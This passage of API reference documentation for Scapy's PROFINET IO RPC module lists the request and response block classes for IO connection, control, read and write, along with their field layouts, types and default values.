+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          NUMBEROFAPIS         |              APIS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IOCRBlockReq                         


IOCRBlockReq fields






	block_type

	ShortEnumField

	258



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	IOCRType

	XShortEnumField

	1



	IOCRReference

	XShortField

	1



	LT

	XShortField

	34962



	IOCRProperties_reserved3

	BitField  (8 bits)

	0



	IOCRProperties_reserved2

	BitField  (11 bits)

	0



	IOCRProperties_reserved1

	BitField  (9 bits)

	0



	IOCRProperties_RTClass

	BitEnumField

	0



	DataLength

	ShortField

	40



	FrameID

	XShortField

	32768



	SendClockFactor

	ShortField

	32



	ReductionRatio

	ShortField

	32



	Phase

	ShortField

	1



	Sequence

	ShortField

	0



	FrameSendOffset

	XIntField

	4294967295



	WatchdogFactor

	ShortField

	10



	DataHoldFactor

	ShortField

	10



	IOCRTagHeader_IOUserPriority

	BitEnumField

	6



	IOCRTagHeader_reserved

	BitField  (1 bit)

	0



	IOCRTagHeader_IOCRVLANID

	BitField  (12 bits)

	0



	IOCRMulticastMACAdd

	MACField

	None



	NumberOfAPIs

	FieldLenField

	None



	APIs

	PacketListField

	[]











	
get_response()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L903-L910]

	Generate the response block of this request.
Careful: it only sets the fields which can be set from the request










	
class scapy.contrib.pnio_rpc.IOCRBlockRes(_pkt, /, *, block_type=33026, block_length=None, block_version_high=1, block_version_low=0, IOCRType=1, IOCRReference=1, FrameID=32768)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L913-L922]

	Bases: Block

IO Connection Relationship block response


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            IOCRTYPE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         IOCRREFERENCE         |            FRAMEID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IOCRBlockRes                         


IOCRBlockRes fields






	block_type

	ShortEnumField

	33026



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	IOCRType

	XShortEnumField

	1



	IOCRReference

	XShortField

	1



	FrameID

	XShortField

	32768















	
class scapy.contrib.pnio_rpc.IODControlReq(_pkt, /, *, block_type=None, block_length=None, block_version_high=1, block_version_low=0, padding=b'', ARUUID=None, SessionKey=0, AlarmSequenceNumber=0, ControlCommand_reserved=0, ControlCommand_PrmBegin=0, ControlCommand_ReadyForRT_CLASS_3=0, ControlCommand_ReadyForCompanion=0, ControlCommand_Done=0, ControlCommand_Release=0, ControlCommand_ApplicationReady=0, ControlCommand_PrmEnd=0, ControlBlockProperties=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L370-L422]

	Bases: Block

IODControl request block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SESSIONKEY          |      ALARMSEQUENCENUMBER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|CONTROLCOMMAND RE|C|C|C|C|C|C|C|     CONTROLBLOCKPROPERTIES    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IODControlReq                        


IODControlReq fields






	block_type

	ShortEnumField

	None



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding

	StrFixedLenField

	b''



	ARUUID

	UUIDField

	None



	SessionKey

	ShortField

	0



	AlarmSequenceNumber

	XShortField

	0



	ControlCommand_reserved

	BitField  (9 bits)

	0



	ControlCommand_PrmBegin

	BitField  (1 bit)

	0



	ControlCommand_ReadyForRT_CLASS_3

	BitField  (1 bit)

	0



	ControlCommand_ReadyForCompanion

	BitField  (1 bit)

	0



	ControlCommand_Done

	BitField  (1 bit)

	0



	ControlCommand_Release

	BitField  (1 bit)

	0



	ControlCommand_ApplicationReady

	BitField  (1 bit)

	0



	ControlCommand_PrmEnd

	BitField  (1 bit)

	0



	ControlBlockProperties

	XShortField

	0











	
get_response()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L413-L422]

	Generate the response block of this request.
Careful: it only sets the fields which can be set from the request






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L390-L411]

	








	
class scapy.contrib.pnio_rpc.IODControlRes(_pkt, /, *, block_type=33040, block_length=None, block_version_high=1, block_version_low=0, padding=b'', ARUUID=None, SessionKey=0, AlarmSequenceNumber=0, ControlCommand_reserved=0, ControlCommand_PrmBegin=0, ControlCommand_ReadyForRT_CLASS_3=0, ControlCommand_ReadyForCompanion=0, ControlCommand_Done=1, ControlCommand_Release=0, ControlCommand_ApplicationReady=0, ControlCommand_PrmEnd=0, ControlBlockProperties=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L425-L449]

	Bases: Block

IODControl response block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SESSIONKEY          |      ALARMSEQUENCENUMBER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|CONTROLCOMMAND RE|C|C|C|C|C|C|C|     CONTROLBLOCKPROPERTIES    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IODControlRes                        


IODControlRes fields






	block_type

	ShortEnumField

	33040



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding

	StrFixedLenField

	b''



	ARUUID

	UUIDField

	None



	SessionKey

	ShortField

	0



	AlarmSequenceNumber

	XShortField

	0



	ControlCommand_reserved

	BitField  (9 bits)

	0



	ControlCommand_PrmBegin

	BitField  (1 bit)

	0



	ControlCommand_ReadyForRT_CLASS_3

	BitField  (1 bit)

	0



	ControlCommand_ReadyForCompanion

	BitField  (1 bit)

	0



	ControlCommand_Done

	BitField  (1 bit)

	1



	ControlCommand_Release

	BitField  (1 bit)

	0



	ControlCommand_ApplicationReady

	BitField  (1 bit)

	0



	ControlCommand_PrmEnd

	BitField  (1 bit)

	0



	ControlBlockProperties

	XShortField

	0















	
class scapy.contrib.pnio_rpc.IODReadReq(_pkt, /, *, block_type=9, block_length=None, block_version_high=1, block_version_low=0, seqNum=0, ARUUID=None, API=0, slotNumber=0, subslotNumber=0, padding=b'', index=0, recordDataLength=None, RWPadding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L506-L530]

	Bases: Block

IODRead request block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|             SEQNUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |             INDEX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        RECORDDATALENGTH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RWPADDING                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IODReadReq                          


IODReadReq fields






	block_type

	ShortEnumField

	9



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	seqNum

	ShortField

	0



	ARUUID

	UUIDField

	None



	API

	XIntField

	0



	slotNumber

	XShortField

	0



	subslotNumber

	XShortField

	0



	padding

	StrFixedLenField

	b''



	index

	XShortEnumField

	0



	recordDataLength

	LenField

	None



	RWPadding

	StrFixedLenField

	b''











	
get_response()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L525-L530]

	




	
payload_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L522-L523]

	








	
class scapy.contrib.pnio_rpc.IODReadRes(_pkt, /, *, block_type=32777, block_length=None, block_version_high=1, block_version_low=0, seqNum=0, ARUUID=None, API=0, slotNumber=0, subslotNumber=0, padding=b'', index=0, recordDataLength=None, additionalValue1=0, additionalValue2=0, RWPadding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L533-L549]

	Bases: Block

IODRead response block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|             SEQNUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |             INDEX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        RECORDDATALENGTH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ADDITIONALVALUE1       |        ADDITIONALVALUE2       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RWPADDING                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IODReadRes                          


IODReadRes fields






	block_type

	ShortEnumField

	32777



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	seqNum

	ShortField

	0



	ARUUID

	UUIDField

	None



	API

	XIntField

	0



	slotNumber

	XShortField

	0



	subslotNumber

	XShortField

	0



	padding

	StrFixedLenField

	b''



	index

	XShortEnumField

	0



	recordDataLength

	LenField

	None



	additionalValue1

	XShortField

	0



	additionalValue2

	XShortField

	0



	RWPadding

	StrFixedLenField

	b''















	
class scapy.contrib.pnio_rpc.IODWriteMultipleReq(_pkt, /, *, block_type=8, block_length=None, block_version_high=1, block_version_low=0, seqNum=0, ARUUID=None, API=4294967295, slotNumber=65535, subslotNumber=65535, padding=b'', index=57408, recordDataLength=None, RWPadding=b'', blocks=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L611-L670]

	Bases: Block

IODWriteMultiple request


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|             SEQNUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |             INDEX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        RECORDDATALENGTH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RWPADDING                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BLOCKS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IODWriteMultipleReq                     


IODWriteMultipleReq fields






	block_type

	ShortEnumField

	8



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	seqNum

	ShortField

	0



	ARUUID

	UUIDField

	None



	API

	XIntField

	4294967295



	slotNumber

	XShortField

	65535



	subslotNumber

	XShortField

	65535



	padding

	StrFixedLenField

	b''



	index

	XShortEnumField

	57408



	recordDataLength

	FieldLenField

	None



	RWPadding

	StrFixedLenField

	b''



	blocks

	FieldListField

	[]











	
get_response()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L656-L670]

	Generate the response block of this request.
Careful: it only sets the fields which can be set from the request






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L635-L654]

	








	
class scapy.contrib.pnio_rpc.IODWriteMultipleRes(_pkt, /, *, block_type=32776, block_length=None, block_version_high=1, block_version_low=0, seqNum=0, ARUUID=None, API=4294967295, slotNumber=65535, subslotNumber=65535, padding=b'', index=57408, recordDataLength=None, additionalValue1=0, additionalValue2=0, status=0, RWPadding=b'', blocks=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L673-L702]

	Bases: Block

IODWriteMultiple response


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|             SEQNUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |             INDEX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        RECORDDATALENGTH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ADDITIONALVALUE1       |        ADDITIONALVALUE2       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RWPADDING                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BLOCKS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IODWriteMultipleRes                     


IODWriteMultipleRes fields






	block_type

	ShortEnumField

	32776



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	seqNum

	ShortField

	0



	ARUUID

	UUIDField

	None



	API

	XIntField

	4294967295



	slotNumber

	XShortField

	65535



	subslotNumber

	XShortField

	65535



	padding

	StrFixedLenField

	b''



	index

	XShortEnumField

	57408



	recordDataLength

	FieldLenField

	None



	additionalValue1

	XShortField

	0



	additionalValue2

	XShortField

	0



	status

	IntEnumField

	0



	RWPadding

	StrFixedLenField

	b''



	blocks

	FieldListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L696-L702]

	








	
class scapy.contrib.pnio_rpc.IODWriteReq(_pkt, /, *, block_type=8, block_length=None, block_version_high=1, block_version_low=0, seqNum=0, ARUUID=None, API=0, slotNumber=0, subslotNumber=0, padding=b'', index=0, recordDataLength=None, RWPadding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L453-L481]

	Bases: Block

IODWrite request block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|             SEQNUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |             INDEX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        RECORDDATALENGTH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RWPADDING                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IODWriteReq                         


IODWriteReq fields






	block_type

	ShortEnumField

	8



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	seqNum

	ShortField

	0



	ARUUID

	UUIDField

	None



	API

	XIntField

	0



	slotNumber

	XShortField

	0



	subslotNumber

	XShortField

	0



	padding

	StrFixedLenField

	b''



	index

	XShortEnumField

	0



	recordDataLength

	LenField

	None



	RWPadding

	StrFixedLenField

	b''











	
get_response()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L473-L481]

	Generate the response block of this request.
Careful: it only sets the fields which can be set from the request






	
payload_guess

	Possible sublayers:
FParametersBlock






	
payload_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L470-L471]

	








	
class scapy.contrib.pnio_rpc.IODWriteRes(_pkt, /, *, block_type=32776, block_length=None, block_version_high=1, block_version_low=0, seqNum=0, ARUUID=None, API=0, slotNumber=0, subslotNumber=0, padding=b'', index=0, recordDataLength=None, additionalValue1=0, additionalValue2=0, status=0, RWPadding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L484-L502]

	Bases: Block

IODWrite response block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|             SEQNUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              API                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |             INDEX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        RECORDDATALENGTH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ADDITIONALVALUE1       |        ADDITIONALVALUE2       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RWPADDING                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IODWriteRes                         


IODWriteRes fields






	block_type

	ShortEnumField

	32776



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	seqNum

	ShortField

	0



	ARUUID

	UUIDField

	None



	API

	XIntField

	0



	slotNumber

	XShortField

	0



	subslotNumber

	XShortField

	0



	padding

	StrFixedLenField

	b''



	index

	XShortEnumField

	0



	recordDataLength

	LenField

	None



	additionalValue1

	XShortField

	0



	additionalValue2

	XShortField

	0



	status

	IntEnumField

	0



	RWPadding

	StrFixedLenField

	b''















	
class scapy.contrib.pnio_rpc.MaintenanceItem(_pkt, /, *, UserStructureIdentifier=0, block_type=None, block_length=None, block_version_high=1, block_version_low=0, padding=b'', MaintenanceStatus=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1193-L1199]

	Bases: AlarmItem


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USERSTRUCTUREIDENTIFIER    |           BLOCK TYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          BLOCK LENGTH         |BLOCK VERSION H|BLOCK VERSION L|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |       MAINTENANCESTATUS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MaintenanceItem                       


MaintenanceItem fields






	UserStructureIdentifier

	XShortField

	0



	block_type

	ShortEnumField

	None



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding

	StrFixedLenField

	b''



	MaintenanceStatus

	XIntField

	0















	
